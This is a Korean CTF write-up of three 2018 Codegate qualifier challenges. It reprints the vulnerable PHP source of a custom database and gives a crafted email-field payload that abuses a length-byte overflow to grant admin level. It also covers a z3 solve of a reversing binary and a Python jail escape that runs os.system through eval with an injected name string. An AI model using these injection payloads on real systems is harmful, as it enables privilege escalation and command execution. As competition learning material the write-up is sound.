Uiseong Park zairo

Write-up

2018 Codegate Quals

2018 Codegate 예선 Write-up
Team. RebForPwn

[WEB] - rbSql

Overview

Analysis

해당 문제는 소스를 공개하는 오픈소스 형태의 문제입니다. 가장 먼저 문제 페이지에 접속해보면..

ㅗㅜㅑ… 익숙한 페이지가 눈 앞에 나타납니다. 최근 몇년간의 국내 CTF를 참가해 웹 분야의 문제를 풀어보았다면 많이 봤을 크리스탈입니다. 딱 봤을 때 있는 기능이라면 PhotoM/V가 있으며, JoinLogin 기능이 존재합니다. 문제 이름에 SQL이 들어가기 때문에 SQL Injection이라고 생각되지만, 자세한 것은 소스코드를 확인해봐야 알 것 같습니다.

문제 설명에 첨부되어있는 파일을 다운받아 압축을 해제하면 index.php와 dbconn.php 크게 두가지 메인 소스코드로 나뉘어져 있다는 것을 알 수 있습니다.

일반적으로 dbconn.php에는 해당 웹서버에서 사용하고 있는 데이터베이스에 대한 설정(아이디, 패스워드, 호스트, 포트, 사용할 DB명 등)을 담고 다른 페이지에서 import하여 사용하는 형태이지만, 이 문제는 달랐습니다. rbSql이라는 제목이 허투루 나온 것이 아니라 출제자 본인이 직접 생각하여 구현한 데이터베이스 형태인 것 같습니다. dbconn.php 내에는 저장할 데이터에 대한 파싱 방법, 패킹 방법, 그리고 데이터를 삽입/삭제/조회할 수 있는 기능들을 구현해 놓았습니다.

다음은 index.phpdbconn.php의 소스코드입니다.

<?php
  session_start();
  include("5f0c2baaa2c0426eed9a958e3fe0ff94.php");
  $page = $_GET['page'];
  if($page == "login"){
?>
    <h3>Login</h3>
    <p>
      <form action="./?page=login_chk" method="POST">
      <table>
      <tr><td>ID</td><td><input type="text" name="uid" id="uid"></td>
      <td rowspan="3"><img src="./images/login.jpg" width="270" style="margin-left: 20px; margin-top: -38px; position:fixed;"></td></tr>
      <tr><td>PW</td><td colspan="2"><input type="text" name="upw" id="upw"></td></tr>
      <tr><td colspan="2"><input type="submit" value="Login" style="width: 100%;"></td></tr>
      </table>
      </form>
    </p>
<?php
  }
  elseif($page == "join"){
?>
    <h3>Join</h3>
    <p>
      <form action="./?page=join_chk" method="POST">
      <table>
      <tr><td>ID</td><td><input type="text" name="uid" id="uid"></td>
      <td rowspan="3"><img src="./images/login.jpg" width="270" style="margin-left: 20px; margin-top: -38px; position:fixed;"></td></tr>
      <tr><td>MAIL</td><td colspan="2"><input type="text" name="umail" id="uid"></td></tr>
      <tr><td>PW</td><td colspan="2"><input type="text" name="upw" id="upw"></td></tr>
      <tr><td colspan="2"><input type="submit" value="Join" style="width: 100%;"></td></tr>
      </table>
      </form>
    </p>
<?php
  }
  elseif($page == "login_chk"){
    $uid = $_POST['uid'];
    $upw = $_POST['upw'];
    if(($uid) && ($upw)){
      include "dbconn.php";
      $result = rbSql("select","member_".$uid,["pw",md5($upw)]);
      if(is_string($result)) error("login fail");
      $_SESSION['uid'] = $result['0'];
      $_SESSION['lvl'] = $result['4'];
      exit("<script>location.href='./';</script>");
    }
    else error("login fail");
  }      
  elseif($page == "join_chk"){
    $uid = $_POST['uid'];
    $umail = $_POST['umail'];
    $upw = $_POST['upw'];
    if(($uid) && ($upw) && ($umail)){
      if(strlen($uid) < 3) error("id too short");
      if(strlen($uid) > 16) error("id too long");
      if(!ctype_alnum($uid)) error("id must be alnum!");
      if(strlen($umail) > 256) error("email too long");
      include "dbconn.php";
      $upw = md5($upw);
      $uip = $_SERVER['REMOTE_ADDR'];
      if(rbGetPath("member_".$uid)) error("id already existed");
      $ret = rbSql("create","member_".$uid,["id","mail","pw","ip","lvl"]);
      if(is_string($ret)) error("error : create");
      $ret = rbSql("insert","member_".$uid,[$uid,$umail,$upw,$uip,"1"]);
      if(is_string($ret)) error("error : insert");
      exit("<script>location.href='./?page=login';</script>");
    }
    else error("join fail");
  }
  elseif($page == "photo"){
?>
    <h3>Photo</h3>
    <p><img src="./images/1.jpg" width="430"></p>
    <p><img src="./images/2.jpg" width="430"></p>
    <p><img src="./images/3.png" width="430"></p>
    <p><img src="./images/4.gif" width="430"></p>
<?php
  }      
  elseif($page == "video"){
?>
    <h3>Music Video</h3>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/iv-8-EgPEY0?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/xnku4o3tRB4?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/n8I8QGFA1oM?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/kKS12iGFyEA?rel=0" frameborder="0" allowfullscreen></iframe></p>
<?php
  }      
  elseif($page == "me"){
    echo "<p>uid : {$_SESSION['uid']}</p><p>level : ";
    if($_SESSION['lvl'] == 1) echo "Guest";
    elseif($_SESSION['lvl'] == 2) echo "Admin";
    echo "</p>";
    include "dbconn.php";
    $ret = rbSql("select","member_".$_SESSION['uid'],["id",$_SESSION['uid']]);
    echo "<p>mail : {$ret['1']}</p><p>ip : {$ret['3']}</p>";
    if($_SESSION['lvl'] === "2"){
      echo "<p>Flag : </p>";
      include "/flag";
      rbSql("delete","member_".$_SESSION['uid'],["id",$_SESSION['uid']]);
    }
  }
  elseif($page == "logout"){
    session_destroy();
    exit("<script>location.href='./';</script>");
  }
  else{
?>
    <h3>ㅋrystal :/</h3>
    <p><img src="./images/k_03.jpg" width="430" style="position:fixed;"></p>
<?php
  }
  include("4bbc327f5b0fd076e005961bcfc4a9ee.php");
?>

<?php
/*
Table[
  tablename, filepath
  [column],
  [row],
  [row],
  ...
rbSqlSchema[
  rbSqlSchema,/rbSqlSchema,
  ["tableName","filePath"],
  ["something","/rbSql_".substr(md5(rand(10000000,100000000)),0,16)]
]
*/

define("STR", chr(1), true);
define("ARR", chr(2), true);
define("SCHEMA", "../../rbSql/rbSqlSchema", true);

function rbSql($cmd,$table,$query){
    switch($cmd){
    case "create":
        $result = rbReadFile(SCHEMA);
        for($i=3;$i<count($result);$i++){
            if(strtolower($result[$i][0]) === strtolower($table)){
                return "Error6";
            }
        }
        $fileName = "../../rbSql/rbSql_".substr(md5(rand(10000000,100000000)),0,16);
        $result[$i] = array($table,$fileName);
        rbWriteFile(SCHEMA,$result);
        exec("touch {$fileName};chmod 666 {$fileName}");
        $content = array($table,$fileName,$query);
        rbWriteFile($fileName,$content);
        break;

    case "select":
        /*
          Error1 : Command not found
          Error2 : Column not found
          Error3 : Value not found
          Error4 : Table name not found
          Error5 : Column count is different
          Error6 : table name duplicate
        */
        $filePath = rbGetPath($table);
        if(!$filePath) return "Error4";
        $result = rbReadFile($filePath);
        $whereColumn = $query[0];
        $whereValue = $query[1];
        $countRow = count($result) - 3;
        $chk = 0;
        for($i=0;$i<count($result[2]);$i++){
            if(strtolower($result[2][$i]) === strtolower($whereColumn)){
                $chk = 1;
                break;
            }
        }
        if($chk == 0) return "Error2";
        $chk = 0;
        for($j=0;$j<$countRow;$j++){
            if(strtolower($result[$j+3][$i]) === strtolower($whereValue)){
                $chk = 1;
                return $result[$j+3];
            }
        }
        if($chk == 0) return "Error3";
        break;

    case "insert":
        $filePath = rbGetPath($table);
        if(!$filePath) return "Error4";
        $result = rbReadFile($filePath);
        if(count($result[2]) != count($query)) return "Error5";
        $result[count($result)] = $query;
        rbWriteFile($filePath,$result);
        break;

    case "delete":
        $filePath = rbGetPath($table);
        if(!$filePath) return "Error4";
        $result = rbReadFile($filePath);
        $whereColumn = $query[0];
        $whereValue = $query[1];
        $countRow = count($result) - 3;
        $chk = 0;
        for($i=0;$i<count($result[2]);$i++){
            if(strtolower($result[2][$i]) === strtolower($whereColumn)){
                $chk = 1;
                break;
            }
        }
        if($chk == 0) return "Error2";
        $chk = 0;
        for($j=0;$j<$countRow;$j++){
            if(strtolower($result[$j+3][$i]) === strtolower($whereValue)){
                $chk = 1;
                unset($result[$j+3]);
            }
        }
        if($chk == 0) return "Error3";
        rbWriteFile($result[1],$result);
        break;

    default:
        return "Error1";
        break;
    }
}

function rbParse($rawData){
    $parsed = array();
    $idx = 0;
    $pointer = 0;

    while(strlen($rawData)>$pointer){
        if($rawData[$pointer] == STR){
            $pointer++;
            $length = ord($rawData[$pointer]);
            $pointer++;
            $parsed[$idx] = substr($rawData,$pointer,$length);
            $pointer += $length;
        }
        elseif($rawData[$pointer] == ARR){
            $pointer++;
            $arrayCount = ord($rawData[$pointer]);
            $pointer++;
            for($i=0;$i<$arrayCount;$i++){
                if(substr($rawData,$pointer,1) == ARR){
                    $pointer++;
                    $arrayCount2 = ord($rawData[$pointer]);
                    $pointer++;
                    for($j=0;$j<$arrayCount2;$j++){
                        $pointer++;
                        $length = ord($rawData[$pointer]);
                        $pointer++;
                        $parsed[$idx][$i][$j] = substr($rawData,$pointer,$length);
                        $pointer += $length;
                    }
                }
                else{
                    $pointer++;
                    $length = ord(substr($rawData,$pointer,1));
                    $pointer++;
                    $parsed[$idx][$i] = substr($rawData,$pointer,$length);
                    $pointer += $length;
                }
            }
        }
        $idx++;
        if($idx > 2048) break;
    }
    return $parsed[0];
}

function rbPack($data){
    $rawData = "";
    if(is_string($data)){
        $rawData .= STR . chr(strlen($data)) . $data;
    }
    elseif(is_array($data)){
        $rawData .= ARR . chr(count($data));
        for($idx=0;$idx<count($data);$idx++) $rawData .= rbPack($data[$idx]);
    }
    return $rawData;
}

function rbGetPath($table){
    $schema = rbReadFile(SCHEMA);
    error($schema);
    for($i=3;$i<count($schema);$i++){
        if(strtolower($schema[$i][0]) == strtolower($table)) return $schema[$i][1];
    }
}

function rbReadFile($filePath){
    $opened = fopen($filePath, "r") or die("Unable to open file!");
    $content = fread($opened,filesize($filePath));
    fclose($opened);
    return rbParse($content);
}

function rbWriteFile($filePath,$fileContent){
    $opened = fopen($filePath, "w") or die("Unable to open file!");
    fwrite($opened,rbPack($fileContent));
    fclose($opened);
    clearstatcache();
}

자. 그럼 이 두 소스 내에 존재하는 취약점을 이용해 플래그를 얻어내야 하는데요, index.php의 하단을 살펴보면 lvl 세션이 2일 경우(Admin의 권한일 경우) 플래그를 출력하도록 되어있습니다.

if($_SESSION['lvl'] === "2"){
      echo "<p>Flag : </p>";
      include "/flag";
      rbSql("delete","member_".$_SESSION['uid'],["id",$_SESSION['uid']]);
}

또한 출력한 이후 해당 멤버의 정보를 삭제하는 기능이 포함되어 있는 것으로 보아 insert injection의 기운이 느껴졌습니다. 하지만 이 문제는 일반적인 SQL이 아닌 rbSql입니다. 따라서 dbconn.php 내에 포함되어 있는 기능들을 분석하여 데이터 삽입 시 취약한 부분을 찾아내 익스플로잇을 해야겠죠.

rbSql의 구조는 간단합니다. rbSqlSchema라는 메인 스키마 파일이 존재하며, 이 파일이 관리하는 서브테이블(멤버테이블)들이 존재합니다. 각 서브테이블에 있는 데이터를 얻기 위해서는 rbSqlSchema를 참조하여 멤버 이름에 해당하는 서브테이블을 찾아가 패킹된 데이터를 파싱해야 합니다. 이를 위해 dbconn.php를 분석해보죠.

dbconn.php 내에는 rbSql, rbParse, rbPack, rbGetPath, rbReadFile, rbWriteFile로 총 6개의 함수가 존재합니다. 우리가 원하는 것은 회원가입 시 취약한 파라미터에 untrusted input을 삽입해 멤버 권한(lvl)을 2로 만드는 것입니다.

elseif($page == "join_chk"){
    $uid = $_POST['uid'];
    $umail = $_POST['umail'];
    $upw = $_POST['upw'];
    if(($uid) && ($upw) && ($umail)){
      if(strlen($uid) < 3) error("id too short");
      if(strlen($uid) > 16) error("id too long");
      if(!ctype_alnum($uid)) error("id must be alnum!");
      if(strlen($umail) > 256) error("email too long");
      include "dbconn.php";
      $upw = md5($upw);
      $uip = $_SERVER['REMOTE_ADDR'];
      if(rbGetPath("member_".$uid)) error("id already existed");
      $ret = rbSql("create","member_".$uid,["id","mail","pw","ip","lvl"]);
      if(is_string($ret)) error("error : create");
      $ret = rbSql("insert","member_".$uid,[$uid,$umail,$upw,$uip,"1"]);
      if(is_string($ret)) error("error : insert");
      exit("<script>location.href='./?page=login';</script>");
    }
    else error("join fail");
  }

index.php에서 회원가입을 수행하는 코드입니다. 전달 받는 파라미터는 uidumail, upw인데 uid의 경우 ctype_alnum 함수로 인해 알파벳과 숫자만을 입력받으며, upw의 경우 전달하기 전 이미 md5 hash 되기 때문에 공격 벡터로 적절하지 못합니다. 따라서 남은 파라미터는 umail이 될 것입니다.

회원가입 시 rbSql 함수의 createinsert 기능을 수행하기 때문에 dbconn.php에서 이 부분을 집중적으로 확인해야합니다.

case "create":
        $result = rbReadFile(SCHEMA);
        for($i=3;$i<count($result);$i++){
            if(strtolower($result[$i][0]) === strtolower($table)){
                return "Error6";
            }
        }
        $fileName = "../../rbSql/rbSql_".substr(md5(rand(10000000,100000000)),0,16);
        $result[$i] = array($table,$fileName);
        rbWriteFile(SCHEMA,$result);
        exec("touch {$fileName};chmod 666 {$fileName}");
        $content = array($table,$fileName,$query);
        rbWriteFile($fileName,$content);
        break;

create의 경우 SCHEMA 파일을 읽어온 후 3번째 데이터부터 현재 존재하는 서브테이블의 이름과 일치할 경우(멤버 이름 일치) 에러를 발생시킵니다. SCHEMAdbconn.php 상단부에 define 함수로 rbSqlSchema의 경로를 정의한 상수입니다. 이 부분을 통과하게 되면 새로운 서브테이블을 만들기 위해 rand 함수를 이용해 rbSql_[random value 16자리]의 파일명으로 서브테이블을 만들 준비를 하며, SCHEMA 파일에 해당 값을 입력합니다. 그리고 해당 파일을 생성 후 권한을 할당하고, index.php에서 전달받은 배열의 값을 서브테이블에 입력합니다.

case "insert":
        $filePath = rbGetPath($table);
        if(!$filePath) return "Error4";
        $result = rbReadFile($filePath);
        if(count($result[2]) != count($query)) return "Error5";
        $result[count($result)] = $query;
        rbWriteFile($filePath,$result);
        break;

이후 uid, umail, upw, uip, lvl의 값을 insert 기능을 이용해 create에서 만든 서브테이블에 입력합니다. 그럼 rbSql에서 값을 쓰고, 읽어오는 부분을 확인해봐야겠죠. 먼저 rbWriteFile부터 살펴봅시다.

function rbWriteFile($filePath,$fileContent){
    $opened = fopen($filePath, "w") or die("Unable to open file!");
    fwrite($opened,rbPack($fileContent));
    fclose($opened);
    clearstatcache();
}

먼저 파일 경로에 있는 파일을 불러오고, rbPack 함수를 이용해 파일의 내용을 패킹한 후 해당 경로에 있는 파일에 저장합니다.

function rbPack($data){
    $rawData = "";
    if(is_string($data)){
        $rawData .= STR . chr(strlen($data)) . $data;
    }
    elseif(is_array($data)){
        $rawData .= ARR . chr(count($data));
        for($idx=0;$idx<count($data);$idx++) $rawData .= rbPack($data[$idx]);
    }
    return $rawData;
}

데이터를 패킹하는 rbPack 함수의 구조는 간단합니다. 여기서 dbconn.php 상단부에서 정의한 STRARR 상수가 사용되는데, 이는 각각 0x01, 0x02입니다.

  1. 만약 데이터가 string일 경우 0x01, 길이, 데이터의 형태로 저장이 됩니다.
  2. 만약 데이터가 array일 경우 0x02, 배열의 갯수, …의 형태로 저장이 됩니다. 이 때 rbPack 함수가 재귀적으로 호출되기 때문에 뒤따라오는 데이터가 string일 경우 1번으로 갈 것이고, array일 경우 다시 2번을 수행하겠죠.

저희는 이를 확인하기 위해 직접 서버를 구축하여 테스트를 진행하였습니다.

쉽게 그림으로 설명하자면 빨간색은 데이터 타입(0x01string, 0x02array), 초록색은 배열의 갯수, 주황색은 string의 길이, 노란색은 data가 될 것입니다.

그럼 다음으로 rbReadFile을 살펴보죠.

function rbReadFile($filePath){
    $opened = fopen($filePath, "r") or die("Unable to open file!");
    $content = fread($opened,filesize($filePath));
    fclose($opened);
    return rbParse($content);
}

먼저 파일 경로에 있는 파일을 읽어온 후 rbParse 함수를 통해 데이터를 파싱합니다.

function rbParse($rawData){
    $parsed = array();
    $idx = 0;
    $pointer = 0;

    while(strlen($rawData)>$pointer){
        if($rawData[$pointer] == STR){
            $pointer++;
            $length = ord($rawData[$pointer]);
            $pointer++;
            $parsed[$idx] = substr($rawData,$pointer,$length);
            $pointer += $length;
        }
        elseif($rawData[$pointer] == ARR){
            $pointer++;
            $arrayCount = ord($rawData[$pointer]);
            $pointer++;
            for($i=0;$i<$arrayCount;$i++){
                if(substr($rawData,$pointer,1) == ARR){
                    $pointer++;
                    $arrayCount2 = ord($rawData[$pointer]);
                    $pointer++;
                    for($j=0;$j<$arrayCount2;$j++){
                        $pointer++;
                        $length = ord($rawData[$pointer]);
                        $pointer++;
                        $parsed[$idx][$i][$j] = substr($rawData,$pointer,$length);
                        $pointer += $length;
                    }
                }
                else{
                    $pointer++;
                    $length = ord(substr($rawData,$pointer,1));
                    $pointer++;
                    $parsed[$idx][$i] = substr($rawData,$pointer,$length);
                    $pointer += $length;
                }
            }
        }
        $idx++;
        if($idx > 2048) break;
    }
    return $parsed[0];
}

rbParse 함수는 받아온 rawdata를 한 바이트씩 읽어들이는데, 여기서도 STRARR이 사용됩니다. 만약 따라오는 데이터가 string일 경우 1의 값을 가지며 길이 값을 받아오고, 해당하는 길이만큼 parsed에 저장합니다. string이 아닌 array일 경우 2의 값을 가지며 아래와 같은 프로세스를 가집니다.

  1. 배열의 갯수 파싱
  2. 이후 뒤따라오는 데이터가 또 다시 배열일 경우 해당하는 갯수만큼 string 값을 가져와 parsed에 저장(2차원 배열의 형태)
  3. 이후 뒤따라오는 데이터가 string일 경우 해당하는 갯수만큼 string 값을 가져와 parsed에 저장(1차원 배열의 형태)

자, 익스플로잇에 필요한 메뉴 분석은 모두 끝마쳤습니다. 이제 이 정보를 이용해 umail 파라미터에 데이터를 삽입해 권한을 탈취해야합니다. 하지만 문제는 rbPack 함수의 내용을 토대로 생각해보면 아무리 umail 파라미터에 데이터를 삽입해도 결국 string이기 때문에 파싱 과정에서 해당 길이만큼 평문으로 인식해버린다는 점입니다.

if(strlen($umail) > 256) error("email too long");

여기서 살펴볼 부분이 umail 파라미터에 대한 길이 제한입니다. hex value의 경우 값의 범위는 0x00부터 0xff까지입니다. 만약 0xff를 넘어가는 값이 올 경우 overflow로 인해 0x00이 되겠죠. umail의 길이제한을 다시 살펴보면 256바이트까지 입력을 받을 수 있도록 허용해두었습니다. 따라서 rbPack의 포맷을 맞춰 데이터를 삽입하고 256바이트까지 데이터를 입력해 umail의 길이를 00으로 바꾼다면 lvl의 값을 수정할 수 있습니다.

회원가입 시 fiddler를 이용하여 값을 변조하였습니다. umail 파라미터에 삽입한 페이로드는 다음과 같습니다.

    %01%20c4ca4238a0b923820dcc509a6f75849b%01%00%01%012AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

umail 이전의 패킹된 데이터는 0x01, 0x00이기 때문에 0x01, 0x20, md5 hash값을 넣어주면서 upw를 맞춰주었고, 0x01, 0x00uip, 0x01, 0x01, 2lvl 부분입니다. 나머지는 256바이트를 맞춰주기 위한 더미 데이터입니다.

현재 페이지는 대회중 구축한 테스트페이지에 적용한 상태이며, 글을 쓰는 현재는 대회가 종료된 시점이기 때문에 실서버에 대한 캡처는 하지 못했습니다. 아무튼 위와 같은 페이로드로 admin의 권한을 획득할 수 있었으며, 플래그를 얻어냈습니다.

FLAG : FLAG{akaneTsunemoriIsSoCuteDontYouThinkSo?}


[REV] - RedVelvet

Overview

Analysis

파일을 다운로드 후 압축을 풀면 RedVelvet이라는 파일이 하나 나타납니다. 이는 64bit ELF 파일입니다. 먼저 실행시켜봅시다.

Your flag : 라는 문자열이 나타나고, 입력을 기다립니다. 아무 문자열이나 입력해주면 실행이 그냥 종료되는데, 특정한 조건을 맞춰 입력하지 않으면 exit()을 실행하여 프로그램을 종료시키는 형태인 것 같습니다.

IDA에 올린 후 String view를 이용해 살펴보면 위와 같이 flag를 출력하는 부분임을 암시하는 문자열이 존재합니다. 이를 따라가보면 main함수를 확인할 수 있습니다.

메인함수 내에는 위와 같은 형태로 프로세스를 진행하는데, func1~func15가 메인 프로세스이며, 마지막 비교 구문을 통해 플래그를 출력해줍니다. func1~func15를 살펴보면 이전 함수의 두번째 파라미터가 다음 함수의 첫번째 파라미터로 들어가는 것으로 보아 한글자 한글자씩 비교하는 형태로 보이며, 이를 모두 만족했을 경우 도출되는 문자열을 SHA256 알고리즘으로 해시 후 s2~v47에 해당하는 해시값과 동일할 경우 플래그임을 알려줍니다.

딱 봐도 angr를 이용하면 슥삭 할 수 있을 것 같은 문제지만, 저는 리알못이기 때문에 angr 대신 z3를 이용해 한글자 한글자 맞춰보는 삽질을 했습니다.

gdb를 이용해 main함수를 살펴보면 func1 함수의 인자로 esi, edi를 넘겨줍니다. main+257의 위치에 breakpoint를 걸고 해당 값을 확인해봅시다.

예상대로 1234를 입력했을 경우 1, 2를 순서대로 파라미터로 받는 것을 알 수 있습니다.

이제 IDA로 돌아와서 함수들의 조건을 맞춰 HAPPINESS:)를 출력할 수 있도록 조건을 확인해봅시다. 앞서 말했던대로, 저는 z3를 이용하여 한글자 한글자 추려냈습니다.

한글자 한글자 삽질하며 찾아가다 보면 What_You 와 같이 문장으로 예상되는 단어가 나타납니다.

???????

Be? 이후 나머지 함수들의 결과를 찾아가다 보면 아래와 같은 플래그를 찾아낼 수 있습니다.

FLAG : What_You_Wanna_Be?:)_la_la


[MISC] - Impel Down

Overview

Analysis

문제의 description은 별다른 내용이 없고 nc 호스트와 포트만 존재합니다.

서버에 접속해보면 python이 돌아가고 있으며, 전형적인 python jailbreak 문제인 것으로 예상해 볼 수 있습니다. 해당 스크립트는 약 10초가 지나면 timeout 되어 접속이 종료되며, 해당 시간 내에 flag를 획득해야 하는 형태입니다.

Name에 임의의 문자를 넣은 후 4가지 메뉴 중 하나를 선택하여 입력하면 해당 기능이 수행되며, dig a와 같이 untrusted input을 전달하게 되면 에러가 발생하게 됩니다.

에러 내용을 살펴보면 해당 work 변수에 우리가 입력한 명령이 들어가게 되며, 결과적으로 eval함수를 이용해 your.[명령]()와 같은 형태로 명령이 실행됩니다. your은 클래스의 인스턴스라고 예상해 볼 수 있고, dig와 같은 명령들은 이에 속하는 함수들이라고 볼 수 있겠죠. 이 때 eval 함수를 사용하기 때문에 우리가 원하는 명령을 실행시킬 수 있는 가능성이 생겼습니다.

파이썬의 eval 함수에서는 ,(comma)를 이용하여 복수의 명령을 실행할 수 있습니다.

이런식으로 말이죠. 이 특성을 이용해 work 변수에 아래와 같은 명령을 삽입할 수 있습니다.

dig(), [임의 명령], your.dig

이와 같이 입력하게 되면 eval에 들어가는 명령은 your.dig(), [임의 명령], your.dig()가 될 것이며 이로 인해 dig 함수는 총 2번 실행되고, 그 사이에 우리가 원하는 명령을 수행할 수 있습니다.

dig,__import__('os').system('ls'),your.dig

따라서 위와 같은 명령을 통해 쉘 명령을 내릴 수 있지만, 해당 스크립트에서는 _(underbar)가 들어갈 경우 필터링 후 종료시켜버리기 때문에 다른 방법을 찾아야 했습니다.

여기서 생각할 수 있는 것은 _를 사용하지 않고 os모듈을 import 하거나, 다른 변수에 값을 할당해 이를 eval로 실행하는 것이 될 것입니다. 1번 방법은 대회 중 떠오르지 않아 실패했지만 2번의 경우 스크립트 시작 당시 Name에 변수를 받지만 별다른 필터링이 적용되어있지 않아 이를 이용할 수 있겠다고 생각하였습니다. 따라서 Name__import__('os').system('ls')와 같은 쉘 명령을 실행시킬 수 있는 명령어를 입력 후 work에서 eval을 이용해 이를 실행시키는 형태로 진행하였습니다.

해당 writeup은 대회 종료 후 추출한 소스코드를 이용해 로컬에서 돌리고 있는 상황이라 로컬의 ls 결과가 출력되었습니다. 아무튼 이와 같은 형태로 쉘 명령을 실행시킬 수 있으며, cat Impel_Down.py 등의 명령을 통해 소스코드를 추출할 수 있습니다.

#!/usr/bin/python -u
import sys
import signal
import pickle
from random import choice, shuffle

coworkers_list = ['James', 'Nami', 'Luffy', 'Zoro', 'Tony', 'Robin', 'Franky', 'Brook', 'Ace', 'Jinbe', 'Crocodile']
tools_list = ['drill', 'Knife', 'gun', 'spoon', 'book', 'lighter']

works_list = {
'bomb' : "make boooooooomb!!!",
'coworker' : 'Find Coworker For Escape',
'tool' : "Find Any Tool",
'dig' : "Go Deep~",
}

def menu():
    print "################## Work List ##################"
    for cmd, desc in works_list.iteritems():
        print "  %-15s : %s" %(cmd, desc)
    print "###############################################"

class Esacpe_Player:
  def __init__(self, name, day):
    self.name = name
    self.dig_depth = 0
    self.bomb_Perfection = 0
    self.tools = []
    self.coworkers = []
    self.day = day

  def dig(self):
    self.dig_depth += 1
    # never ending digging......
    print " %s : [Dig] depth = %d" %(self.name, self.dig_depth)
    return pickle.dumps(self)

  def bomb(self):
    self.bomb_Perfection += 1
    # your bomb is too powerful. so boom with u......
    print " %s : [Bomb] bomb Perfection = %d" %(self.name, self.bomb_Perfection)
    return pickle.dumps(self)

  def tool(self):
    tt = choice(tools_list)
    print " %s : [Tool] Find : %s !" %(self.name, tt)
    self.tools.append(tt)
    return pickle.dumps(self)

  def coworker(self):
    shuffle(coworkers_list)
    cw = coworkers_list.pop()
    print " %s : [Coworker] Find : %s !" %(self.name, cw)
    self.coworkers.append(cw)
    return pickle.dumps(self)

class Watcher:
  def __init__(self):
    self.name = "Magellan"
    self.dig_risk = 3
    self.bomb_risk = 10
    self.tool_risk = 5
    self.coworker_risk = 5
    self.arrest_min_point = 25

  def Behavior_analysis(self, Player):
    player_info = pickle.loads(Player)
    risk_point = (player_info.dig_depth*self.dig_risk) + (player_info.bomb_Perfection*self.bomb_risk) + (len(player_info.tools)*self.tool_risk) + (len(player_info.coworkers)*self.coworker_risk)

    if risk_point >= self.arrest_min_point:
      sys.stderr.write("you("+ player_info.name +") looks like dangerous !!!")
      self.Arrest()

  def Arrest(self):
    sys.stderr.write("you Arrest Again....")
    exit()

def handler(signum, frame):
  sys.stderr.write("Time Out....")
  exit()

signal.signal(signal.SIGALRM, handler)
signal.alarm(10)

print("""
                    __           
          PyJail   /__\\          
        ____________|  |          
        |_|_|_|_|_|_|  |          
        |_|_|_|_|_|_|__|          
      A@\\|_|_|_|_|_|/@@Aa        
    aaA@@@@@@@@@@@@@@@@@@@aaaA    
  A@@@@@@@@@@@@@@@@@@@@@@@@@@A   
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[!] Rule
1. After 3 day, the Light will be Turned Off then you Cannot see anything.
2. Cannot Use Some Special Characters in PyJail.
3. For 10 days, You can enter 38 characters per day.

Can You Escape from Here ??
""")

del signal
del __builtins__.input
ban_list = ['#', '+', '-', '_', '"']

name = raw_input(" Name : ")
your = Esacpe_Player(name, 1)
watcher = Watcher()

# FLAG is /FLAG_FILE~blahblah (this is only executable.)

while True:
  print "[day-%d] " %(your.day)
  if your.day == 4:
    # Turn off the light
    print "Turn off the Light !!"
    sys.stdout = open('/dev/null', 'w')

  menu()
  work = raw_input()
  invalid_cmd = 0
  for cmd in works_list.keys():
    if cmd in work:
      invalid_cmd = 1

  if not invalid_cmd:
    print "Invalid Work !!"
    continue

  for ww in work:
    if ww in ban_list:
      print "Found unavailable Character !!"
      exit()

  if len(work) > 38:
    print "Too Long !!"
    continue

  result = eval("your."+work+"()")
  watcher.Behavior_analysis(result)

  your.day += 1
  if your.day > 10:
    sys.stderr.write("10 days over...")
    exit()

소스코드를 살펴보면 FLAG 파일은 root 경로에 존재하며, 실행 시 FLAG를 얻을 수 있다고 합니다.

name : __import__('os').system('/FLAG_FLAG_FLAG_LOLOLOLOLOLOL')
work : dig,eval(name),your.dig

이와 같이 수행하게 되면 플래그를 얻어낼 수 있습니다.

FLAG : Pyth0n J@il escape 1s always fun @nd exc1ting ! :)

Written by Team. RebForPwn

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.